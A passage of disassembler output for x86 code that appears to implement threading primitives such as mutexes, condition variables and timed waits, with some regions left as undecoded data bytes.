loc_431A1F mov eax, [edi] test eax, eax jz short loc_431A1F cmp dword ptr [eax], 1 jnz short loc_431A1F pop edi mov eax, 28h pop ebp retn ; --------------------------------------------------------------------------- loc_431A1F: ; CODE XREF: sub_4319F0+1Aj ; sub_4319F0+20j ... push esi push 2Ch push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jnz short loc_431A44 mov edx, [esp+0Ch+arg_0] mov ebp, 0Ch mov eax, ebp mov [edx], esi pop esi pop edi pop ebp retn ; --------------------------------------------------------------------------- loc_431A44: ; CODE XREF: sub_4319F0+41j test edi, edi mov dword ptr [esi], 0FFFFFFFFh mov dword ptr [esi+4], 0 jz short loc_431A60 mov edi, [edi] test edi, edi jz short loc_431A60 mov edi, [edi+4] jmp short loc_431A62 ; --------------------------------------------------------------------------- loc_431A60: ; CODE XREF: sub_4319F0+63j ; sub_4319F0+69j xor edi, edi loc_431A62: ; CODE XREF: sub_4319F0+6Ej push 0 lea eax, [esi+10h] push 0 push eax mov [esi+8], edi mov dword ptr [esi+0Ch], 0 call sub_401C8A add esp, 0Ch test eax, eax jz short loc_431A9D push esi mov ebp, 0Bh nop call near ptr 77C2C21Bh mov edx, [esp+10h+arg_0] add esp, 4 xor esi, esi mov eax, ebp mov [edx], esi pop esi pop edi pop ebp retn ; --------------------------------------------------------------------------- loc_431A9D: ; CODE XREF: sub_4319F0+8Ej lea ecx, [esi+14h] push ecx nop call near ptr 2790E47h mov edx, [esp+0Ch+arg_0] mov eax, ebp mov [edx], esi pop esi pop edi pop ebp retn sub_4319F0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431B00 proc near ; CODE XREF: sub_402252j arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi test edi, edi jz loc_431BE0 mov eax, [edi] test eax, eax jz loc_431BE0 cmp eax, 0FFFFFFFFh jz loc_431BA5 mov [esp+8+arg_0], eax lea eax, [esp+8+arg_0] push eax call sub_401785 mov esi, eax add esp, 4 test esi, esi jnz loc_431BDB mov ecx, [esp+8+arg_0] mov eax, [ecx+4] cmp eax, 1 jnz short loc_431B97 lea ecx, [esp+8+arg_0] mov [edi], esi push ecx call sub_4010C3 mov edx, [esp+0Ch+arg_0] mov esi, eax add esp, 4 test esi, esi jnz short loc_431B90 add edx, 10h push edx call sub_401690 mov eax, [esp+0Ch+arg_0] add esp, 4 add eax, 14h push eax nop call near ptr 27906F2h mov ecx, [esp+8+arg_0] push ecx nop call near ptr 77C2C21Bh add esp, 4 mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_431B90: ; CODE XREF: sub_431B00+61j mov [edi], edx mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_431B97: ; CODE XREF: sub_431B00+48j dec eax mov esi, 10h mov [ecx+4], eax mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_431BA5: ; CODE XREF: sub_431B00+1Dj push offset dword_510920 nop call near ptr 7C901005h cmp dword ptr [edi], 0FFFFFFFFh jnz short loc_431BCB push offset dword_510920 mov dword ptr [edi], 0 nop call near ptr 7C9010EDh mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_431BCB: ; CODE XREF: sub_431B00+B3j push offset dword_510920 mov esi, 10h nop call near ptr 7C9010EDh loc_431BDB: ; CODE XREF: sub_431B00+38j mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_431BE0: ; CODE XREF: sub_431B00+Aj ; sub_431B00+14j pop edi mov eax, 16h pop esi retn sub_431B00 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431C30 proc near ; CODE XREF: sub_401A1Ej arg_0 = dword ptr 4 push esi push 8 push 1 xor esi, esi call near ptr 77C2C0C3h nop add esp, 8 cmp eax, esi jnz short loc_431C53 mov edx, [esp+4+arg_0] mov ecx, 0Ch pop esi mov [edx], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_431C53: ; CODE XREF: sub_431C30+12j mov ecx, [esp+4+arg_0] mov [eax], esi mov [eax+4], esi mov [ecx], eax mov eax, esi pop esi retn sub_431C30 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431C80 proc near ; CODE XREF: sub_4010AAj arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi xor esi, esi test ecx, ecx jz short loc_431CA1 mov eax, [ecx] test eax, eax jz short loc_431CA1 push eax mov [ecx], esi nop call near ptr 77C2C21Bh add esp, 4 mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_431CA1: ; CODE XREF: sub_431C80+9j ; sub_431C80+Fj mov eax, 16h pop esi retn sub_431C80 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_431CC0: ; CODE XREF: ___:00401BBDj mov eax, [esp+4] test eax, eax jz short loc_431CDD mov eax, [eax] test eax, eax jz short loc_431CDD mov ecx, [esp+8] test ecx, ecx jz short loc_431CDD mov eax, [eax] mov [ecx], eax xor eax, eax retn ; --------------------------------------------------------------------------- loc_431CDD: ; CODE XREF: ___:00431CC6j ; ___:00431CCCj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_431D00: ; CODE XREF: ___:00401906j mov eax, [esp+4] test eax, eax jz short loc_431D2A mov ecx, [eax] test ecx, ecx jz short loc_431D2A mov eax, [esp+8] cmp eax, 1 jz short loc_431D1E test eax, eax jnz short loc_431D2A mov [ecx], eax retn ; --------------------------------------------------------------------------- loc_431D1E: ; CODE XREF: ___:00431D15j mov eax, 28h mov dword ptr [ecx], 0 retn ; --------------------------------------------------------------------------- loc_431D2A: ; CODE XREF: ___:00431D06j ; ___:00431D0Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431D40 proc near ; CODE XREF: sub_40119Aj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] xor eax, eax test ecx, ecx jz short loc_431D61 mov ecx, [ecx] test ecx, ecx jz short loc_431D61 mov edx, [esp+arg_4] test edx, edx jl short loc_431D61 cmp edx, 2 jg short loc_431D61 mov [ecx+4], edx retn ; --------------------------------------------------------------------------- loc_431D61: ; CODE XREF: sub_431D40+8j ; sub_431D40+Ej ... mov eax, 16h retn sub_431D40 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431D80 proc near ; CODE XREF: sub_4018CFj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] xor eax, eax test ecx, ecx jz short loc_431D9E mov ecx, [ecx] test ecx, ecx jz short loc_431D9E mov edx, [esp+arg_4] test edx, edx jz short loc_431D9E mov ecx, [ecx+4] mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_431D9E: ; CODE XREF: sub_431D80+8j ; sub_431D80+Ej ... mov eax, 16h retn sub_431D80 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431DC0 proc near ; CODE XREF: sub_402248j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi xor edi, edi test esi, esi jz loc_431E77 mov eax, [esi] test eax, eax jz loc_431E77 cmp eax, 0FFFFFFFFh jnz short loc_431DF1 push esi call sub_401C17 mov edi, eax add esp, 4 test edi, edi jz short loc_431DF1 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_431DF1: ; CODE XREF: sub_431DC0+1Dj ; sub_431DC0+2Cj mov esi, [esi] push esi nop call near ptr 27705EAh test eax, eax jnz short loc_431E1A loc_431DFE: ; CODE XREF: sub_431DC0+A8j mov ecx, [esi+8] mov eax, 1 test ecx, ecx mov [esi+4], eax jz short loc_431E12 call sub_4012E4 ; --------------------------------------------------------------------------- loc_431E12: ; CODE XREF: sub_431DC0+4Bj mov [esi+0Ch], eax mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_431E1A: ; CODE XREF: sub_431DC0+3Cj mov eax, [esi+8] test eax, eax jz short loc_431E5A call sub_4012E4 ; --------------------------------------------------------------------------- dw 8B50h dd 0E8500C46h, 0FFFCFC34h, 8508C483h, 562374C0h, 34E930E8h dd 7E839002h, 0C750108h, 4004468Bh, 8B044689h, 0C35E5FC7h dd 24BFh, 5FC78B00h ; --------------------------------------------------------------------------- pop esi retn ; --------------------------------------------------------------------------- loc_431E5A: ; CODE XREF: sub_431DC0+5Fj lea ecx, [esi+10h] push ecx call sub_431EB0 add esp, 4 test eax, eax jz short loc_431DFE nop call near ptr 77C1F2BCh mov edi, [eax] mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_431E77: ; CODE XREF: sub_431DC0+Aj ; sub_431DC0+14j pop edi mov eax, 16h pop esi retn sub_431DC0 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431EB0 proc near ; CODE XREF: sub_431DC0+9Ep arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jz short loc_431ECA mov eax, [eax] push 0FFFFFFFFh mov ecx, [eax] push ecx call near ptr 2780469h nop test eax, eax jnz short loc_431ECA retn ; --------------------------------------------------------------------------- loc_431ECA: ; CODE XREF: sub_431EB0+6j ; sub_431EB0+17j call near ptr 77C1F2BCh nop mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn sub_431EB0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431EF0 proc near ; CODE XREF: sub_401BD6j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebp push esi mov esi, [esp+8+arg_0] xor ebp, ebp test esi, esi jz loc_432088 mov eax, [esi] test eax, eax jz loc_432088 cmp eax, 0FFFFFFFFh jnz short loc_431F21 push esi call sub_401C17 mov ebp, eax add esp, 4 test ebp, ebp jz short loc_431F21 pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_431F21: ; CODE XREF: sub_431EF0+1Dj ; sub_431EF0+2Cj mov esi, [esi] push ebx push edi push esi call near ptr 27705EAh nop test eax, eax jnz short loc_431F52 loc_431F30: ; CODE XREF: sub_431EF0+175j mov ecx, [esi+8] mov eax, 1 test ecx, ecx mov [esi+4], eax jz loc_43207E call sub_4012E4 ; --------------------------------------------------------------------------- pop edi mov [esi+0Ch], eax pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_431F52: ; CODE XREF: sub_431EF0+3Ej mov eax, [esi+8] test eax, eax jz short loc_431F96 call sub_4012E4 ; --------------------------------------------------------------------------- dw 8B50h dd 0E8500C46h, 0FFFCFAFCh, 8508C483h, 562774C0h, 34E7F8E8h dd 7E839002h, 0E750108h, 5F04468Bh, 46895B40h, 5EC58B04h dd 24BDC35Dh, 5F000000h, 5EC58B5Bh ; --------------------------------------------------------------------------- pop ebp retn ; --------------------------------------------------------------------------- loc_431F96: ; CODE XREF: sub_431EF0+67j mov eax, [esp+10h+arg_4] test eax, eax jnz short loc_431FAA mov ebp, 16h pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_431FAA: ; CODE XREF: sub_431EF0+ACj lea edi, [esi+10h] push eax push edi call sub_432100 add esp, 8 sub eax, 0 jz loc_43206A dec eax jz short loc_432034 dec eax jz short loc_431FD5 nop call near ptr 77C1F2BCh mov ebp, [eax] pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_431FD5: ; CODE XREF: sub_431EF0+D4j lea ebx, [esi+14h] push ebx call near ptr 7C901005h nop push edi mov ebp, 274Ch call sub_4010A5 add esp, 4 cmp eax, 0FFFFFFFFh push esi jnz short loc_432007 call near ptr 278076Dh nop push ebx nop call near ptr 7C9010EDh pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_432007: ; CODE XREF: sub_431EF0+101j call near ptr 278076Dh nop test eax, eax jl short loc_432026 push edi call sub_40103C add esp, 4 test eax, eax jz short loc_432026 nop call near ptr 77C1F2BCh mov ebp, [eax] loc_432026: ; CODE XREF: sub_431EF0+11Fj ; sub_431EF0+12Cj push ebx nop call near ptr 7C9010EDh pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_432034: ; CODE XREF: sub_431EF0+D1j lea ebx, [esi+14h] push ebx nop call near ptr 7C901005h push edi call sub_4010A5 mov edi, eax add esp, 4 cmp edi, 0FFFFFFFFh jnz short loc_43205A push esi nop call near ptr 278076Dh mov ebp, 274Ch loc_43205A: ; CODE XREF: sub_431EF0+15Cj push ebx call near ptr 7C9010EDh nop test edi, edi jnz short loc_432081 jmp loc_431F30 ; --------------------------------------------------------------------------- loc_43206A: ; CODE XREF: sub_431EF0+CAj mov ecx, [esi+8] mov eax, 1 test ecx, ecx mov [esi+4], eax jz short loc_43207E call sub_4012E4 ; --------------------------------------------------------------------------- loc_43207E: ; CODE XREF: sub_431EF0+4Dj ; sub_431EF0+187j mov [esi+0Ch], eax loc_432081: ; CODE XREF: sub_431EF0+173j pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_432088: ; CODE XREF: sub_431EF0+Aj ; sub_431EF0+14j pop esi mov eax, 16h pop ebp retn sub_431EF0 endp ; --------------------------------------------------------------------------- db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432100 proc near ; CODE XREF: sub_431EF0+BFp var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 0Ch push esi push edi mov edi, [esp+14h+arg_0] test edi, edi jz loc_43219E mov esi, [esp+14h+arg_4] test esi, esi jnz short loc_432132 or eax, 0FFFFFFFFh loc_43211C: ; CODE XREF: sub_432100+7Fj push eax mov eax, [edi] mov ecx, [eax] push ecx call near ptr 2780469h nop test eax, eax jnz short loc_43218C pop edi pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_432132: ; CODE XREF: sub_432100+17j lea eax, [esp+14h+var_C] push eax call near ptr 77C49113h nop mov ecx, [esi+4] mov eax, 431BDE83h add ecx, 7A120h add esp, 4 mul ecx mov eax, [esi] mov ecx, [esp+14h+var_C] shr edx, 12h lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] shl ecx, 3 lea eax, [edx+eax*8] mov edx, [esp+14h+var_8] sub eax, ecx and edx, 0FFFFh sub eax, edx jns short loc_43211C pop edi mov eax, 2 pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_43218C: ; CODE XREF: sub_432100+2Aj cmp eax, 102h jnz short loc_43219E pop edi mov eax, 1 pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_43219E: ; CODE XREF: sub_432100+Bj ; sub_432100+91j nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h pop edi or eax, 0FFFFFFFFh pop esi add esp, 0Ch retn sub_432100 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4321F0 proc near ; CODE XREF: sub_4010C3j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push ebx xor ebx, ebx push esi cmp eax, ebx jz loc_432290 mov esi, [eax] cmp esi, ebx jz loc_432290 cmp esi, 0FFFFFFFFh push edi jz short loc_432285 mov eax, [esi+0Ch] mov edi, 1 cmp eax, edi jz short loc_43223A call sub_4012E4 ; --------------------------------------------------------------------------- push eax mov eax, [esi+0Ch] push eax call sub_401A64 add esp, 8 test eax, eax jnz short loc_43223A mov ebx, edi pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43223A: ; CODE XREF: sub_4321F0+2Aj ; sub_4321F0+40j cmp [esi+8], edi jnz short loc_432248 mov eax, [esi+4] dec eax mov [esi+4], eax jnz short loc_43228A loc_432248: ; CODE XREF: sub_4321F0+4Dj lea edi, [esi+14h] mov [esi+0Ch], ebx push edi nop call near ptr 7C901005h push esi nop call near ptr 278076Dh test eax, eax jl short loc_432278 add esi, 10h push esi call sub_40103C add esp, 4 test eax, eax jz short loc_432278 call near ptr 77C1F2BCh nop mov ebx, [eax] loc_432278: ; CODE XREF: sub_4321F0+6Ej ; sub_4321F0+7Ej push edi nop call near ptr 7C9010EDh pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_432285: ; CODE XREF: sub_4321F0+1Ej mov ebx, 16h loc_43228A: ; CODE XREF: sub_4321F0+56j pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_432290: ; CODE XREF: sub_4321F0+Aj ; sub_4321F0+14j pop esi mov eax, 16h pop ebx retn sub_4321F0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4322D0 proc near ; CODE XREF: sub_401785j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi xor edi, edi test esi, esi jz short loc_432355 mov eax, [esi] test eax, eax jz short loc_432355 cmp eax, 0FFFFFFFFh jnz short loc_4322F2 push esi call sub_401C17 add esp, 4 mov edi, eax loc_4322F2: ; CODE XREF: sub_4322D0+15j mov esi, [esi] test edi, edi jnz short loc_432350 push 0FFFFFFFFh push edi push esi call dword_5103C8 ; InterlockedCompareExchange cmp eax, 0FFFFFFFFh jnz short loc_432323 mov ecx, [esi+8] mov eax, 1 test ecx, ecx mov [esi+4], eax jz short loc_43231B call sub_4012E4 ; --------------------------------------------------------------------------- loc_43231B: ; CODE XREF: sub_4322D0+44j mov [esi+0Ch], eax mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_432323: ; CODE XREF: sub_4322D0+35j cmp dword ptr [esi+8], 1 jnz short loc_43234B call sub_4012E4 ; --------------------------------------------------------------------------- push eax mov eax, [esi+0Ch] push eax call sub_401A64 add esp, 8 test eax, eax jz short loc_43234B mov eax, [esi+4] inc eax mov [esi+4], eax mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_43234B: ; CODE XREF: sub_4322D0+57j ; sub_4322D0+6Dj mov edi, 10h loc_432350: ; CODE XREF: sub_4322D0+26j mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_432355: ; CODE XREF: sub_4322D0+Aj ; sub_4322D0+10j pop edi mov eax, 16h pop esi retn sub_4322D0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_432390: ; CODE XREF: ___:0040193Dj mov eax, [esp+8] mov ecx, [esp+4] push eax push ecx call sub_40119A add esp, 8 retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4323C0: ; CODE XREF: ___:00401591j mov eax, [esp+8] mov ecx, [esp+4] push eax push ecx call sub_4018CF add esp, 8 retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4323F0: ; CODE XREF: ___:00401497j mov eax, [esp+4] test eax, eax jz short loc_4323FC mov eax, [eax+4] retn ; --------------------------------------------------------------------------- loc_4323FC: ; CODE XREF: ___:004323F6j xor eax, eax retn ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_432410: ; CODE XREF: ___:00401C12j mov eax, [esp+4] push esi test eax, eax push edi jnz short loc_432422 pop edi mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_432422: ; CODE XREF: ___:00432418j mov esi, [eax] test esi, esi jnz short loc_432445 mov ecx, [eax+4] test ecx, ecx jnz short loc_432445 call sub_401D02 ; --------------------------------------------------------------------------- dd 2EE89056h, 0E80241DFh, 0FFFCF8C2h, 5EC0335Fh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_432445: ; CODE XREF: ___:00432426j ; ___:0043242Dj mov ecx, [eax+4] mov eax, 431BDE83h add ecx, 0F423Fh imul ecx sar edx, 12h mov eax, edx shr eax, 1Fh add edx, eax lea eax, [esi+esi*4] lea eax, [eax+eax*4] lea ecx, [eax+eax*4] lea edi, [edx+ecx*8] call sub_4012E4 ; --------------------------------------------------------------------------- mov esi, eax test esi, esi jnz short loc_43247E pop edi mov eax, 0Ch pop esi retn ; --------------------------------------------------------------------------- loc_43247E: ; CODE XREF: ___:00432474j mov eax, [esi+30h] push edi test eax, eax jnz short loc_4324E6 mov edx, [esi+38h] push edx nop call near ptr 2780469h test eax, eax jnz short loc_4324D7 lea edi, [esi+2Ch] push edi call sub_402248 mov eax, [esi+0Ch] add esp, 4 cmp eax, 3 jge short loc_4324C6 push edi mov dword ptr [esi+0Ch], 3 mov dword ptr [esi+30h], 1 call sub_4010C3 push 2 call sub_401DED ; --------------------------------------------------------------------------- add esp, 8 loc_4324C6: ; CODE XREF: ___:004324A6j push edi call sub_4010C3 add esp, 4 mov eax, 3 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4324D7: ; CODE XREF: ___:00432492j cmp eax, 102h jz short loc_4324EC pop edi mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_4324E6: ; CODE XREF: ___:00432484j nop call near ptr 2850369h loc_4324EC: ; CODE XREF: ___:004324DCj pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_432540: ; CODE XREF: ___:00401014j push ecx lea eax, [esp+0] push eax call sub_401C3A add esp, 4 test eax, eax mov eax, 1 jnz short loc_43255B mov eax, [esp+0] loc_43255B: ; CODE XREF: ___:00432555j pop ecx retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432570 proc near ; CODE XREF: sub_401712j push esi call sub_401320 push offset aKernel32_dll ; "KERNEL32.DLL" mov esi, eax nop call near ptr 27F088Ah push offset aInterlockedcom ; "InterlockedCompareExchange" push eax mov dword_5103AC, eax nop call near ptr 28C04C7h test eax, eax mov dword_5103C8, eax jnz short loc_4325BD mov eax, dword_5103AC mov dword_5103C8, offset sub_4012D0 push eax nop call near ptr 2760715h mov dword_5103AC, 0 loc_4325BD: ; CODE XREF: sub_432570+2Bj mov eax, esi pop esi retn sub_432570 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4325F0 proc near ; CODE XREF: sub_401627j mov eax, dword_5103B0 test eax, eax jz short loc_432640 mov eax, dword_5103B4 push eax call sub_401190 ; --------------------------------------------------------------------------- dd 8504C483h, 832074C0h, 75012078h, 0A0E8501Ah, 8BFFFCF1h dd 5103B40Dh, 4C48300h, 6A118Bh, 0B2E89052h, 0E80232DDh dd 0FFFCF015h, 5103ACA1h, 74C08500h, 0D6E85007h, 900232E0h ; --------------------------------------------------------------------------- loc_432640: ; CODE XREF: sub_4325F0+7j mov eax, 1 retn sub_4325F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432670 proc near ; CODE XREF: sub_4017BCj mov eax, 1 retn sub_432670 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432690 proc near ; CODE XREF: sub_4017CBj mov eax, dword_5103B0 test eax, eax jz short loc_4326CB mov eax, dword_5103B4 push eax call sub_401190 ; --------------------------------------------------------------------------- dd 8504C483h, 832074C0h, 75012078h, 0E8501Ah, 8BFFFCF1h dd 5103B40Dh, 4C48300h, 6A118Bh, 12E89052h db 0DDh, 32h, 2 ; --------------------------------------------------------------------------- loc_4326CB: ; CODE XREF: sub_432690+7j mov eax, 1 retn sub_432690 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_432700: ; CODE XREF: ___:0040225Cj push ecx push esi push offset dword_510980 xor esi, esi nop call near ptr 7C901005h mov eax, dword_5103BC test eax, eax mov [esp+4], eax jz short loc_43273E loc_43271C: ; CODE XREF: ___:0043273Cj test esi, esi jnz short loc_43273E lea eax, [esp+4] push eax call sub_40160E mov ecx, [esp+8] mov esi, eax add esp, 4 mov eax, [ecx+18h] test eax, eax mov [esp+4], eax jnz short loc_43271C loc_43273E: ; CODE XREF: ___:0043271Aj ; ___:0043271Ej push offset dword_510980 call near ptr 7C9010EDh nop mov eax, esi pop esi neg eax sbb eax, eax and eax, 0Bh pop ecx retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432780 proc near ; CODE XREF: sub_4012B7j arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jz short loc_432799 mov eax, [eax] test eax, eax jz short loc_432799 cmp dword ptr [eax], 0C4C0FFEEh jnz short loc_432799 xor eax, eax retn ; --------------------------------------------------------------------------- loc_432799: ; CODE XREF: sub_432780+6j ; sub_432780+Cj ... mov eax, 1 retn sub_432780 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4327B0 proc near ; CODE XREF: sub_401320j mov eax, dword_5103B0 test eax, eax jz short loc_4327BF mov eax, 1 retn ; --------------------------------------------------------------------------- loc_4327BF: ; CODE XREF: sub_4327B0+7j push 0 push offset dword_5103B4 mov dword_5103B0, 1 call sub_401609 add esp, 8 test eax, eax jnz short loc_4327EE push eax push offset dword_5103B8 call sub_401609 add esp, 8 test eax, eax jz short loc_4327F3 loc_4327EE: ; CODE XREF: sub_4327B0+2Aj call sub_401645 loc_4327F3: ; CODE XREF: sub_4327B0+3Cj push esi mov esi, dword_511868 push offset dword_5108C0 call esi push offset dword_510920 call esi push offset dword_510980 call esi push offset dword_510900 call esi push offset dword_510960 call esi push offset dword_510940 call esi mov eax, dword_5103B0 pop esi retn sub_4327B0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432850 proc near ; CODE XREF: sub_401645j mov eax, dword_5103B0 test eax, eax jz locret_432909 mov eax, dword_5103B4 test eax, eax jz short loc_432879 push eax call sub_401AB4 add esp, 4 mov dword_5103B4, 0 loc_432879: ; CODE XREF: sub_432850+14j mov eax, dword_5103B8 test eax, eax jz short loc_432895 push eax call sub_401AB4 add esp, 4 mov dword_5103B8, 0 loc_432895: ; CODE XREF: sub_432850+30j push esi push offset dword_5108C0 call near ptr 7C901005h nop mov eax, dword_447700 cmp eax, 1 jz short loc_4328C3 push edi mov edi, dword_511AD0 loc_4328B2: ; CODE XREF: sub_432850+70j mov esi, [eax+8] push eax call edi ; free add esp, 4 cmp esi, 1 mov eax, esi jnz short loc_4328B2 pop edi loc_4328C3: ; CODE XREF: sub_432850+59j push offset dword_5108C0 nop call near ptr 7C9010EDh mov esi, dword_511864 push offset dword_510940 call esi push offset dword_510960 call esi push offset dword_510900 call esi push offset dword_510980 call esi push offset dword_510920 call esi push offset dword_5108C0 call esi mov dword_5103B0, 0 pop esi locret_432909: ; CODE XREF: sub_432850+7j retn sub_432850 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_432940: ; CODE XREF: ___:loc_401BA9j push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+8] push esi push edi push eax mov esi, [eax] mov ecx, [eax+4] mov edx, [eax+8] mov [ebp-4], esi mov [ebp-0Ch], ecx mov [ebp-8], edx call near ptr 77C2C21Bh nop mov eax, dword_5103B4 push esi push eax call sub_4020F9 ; --------------------------------------------------------------------------- mov dword ptr [esi+0Ch], 1 add esi, 3Ch push 0 push esi call sub_437D4C ; --------------------------------------------------------------------------- mov edi, [ebp-4] add esp, 14h test eax, eax jnz short loc_43299C mov ecx, [ebp-8] push ecx call dword ptr [ebp-0Ch] add esp, 4 mov [edi+14h], eax mov esi, eax jmp short loc_4329A8 ; --------------------------------------------------------------------------- loc_43299C: ; CODE XREF: ___:00432989j dec eax jz short loc_4329A5 dec eax or esi, 0FFFFFFFFh jmp short loc_4329A8 ; --------------------------------------------------------------------------- loc_4329A5: ; CODE XREF: ___:0043299Dj mov esi, [edi+14h] loc_4329A8: ; CODE XREF: ___:0043299Aj ; ___:004329A3j cmp dword ptr [edi+20h], 1 jnz short loc_4329C7 call sub_4017CB push esi call near ptr 77C3A307h nop add esp, 4 mov eax, esi pop edi pop esi mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- loc_4329C7: ; CODE XREF: ___:004329ACj push edi call sub_40131B add esp, 4 push esi nop call near ptr 77C3A307h add esp, 4 mov eax, esi pop edi pop esi mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432A20 proc near ; CODE XREF: sub_4017B7j var_84 = byte ptr -84h var_80 = dword ptr -80h var_58 = byte ptr -58h var_4C = dword ptr -4Ch var_8 = byte ptr -8 arg_0 = dword ptr 4 sub esp, 84h push ebx mov ebx, [esp+88h+arg_0] test ebx, ebx push esi jz short loc_432A9A lea esi, [ebx+2Ch] push edi push esi call sub_402248 push esi mov dword ptr [ebx+0Ch], 5 call sub_4010C3 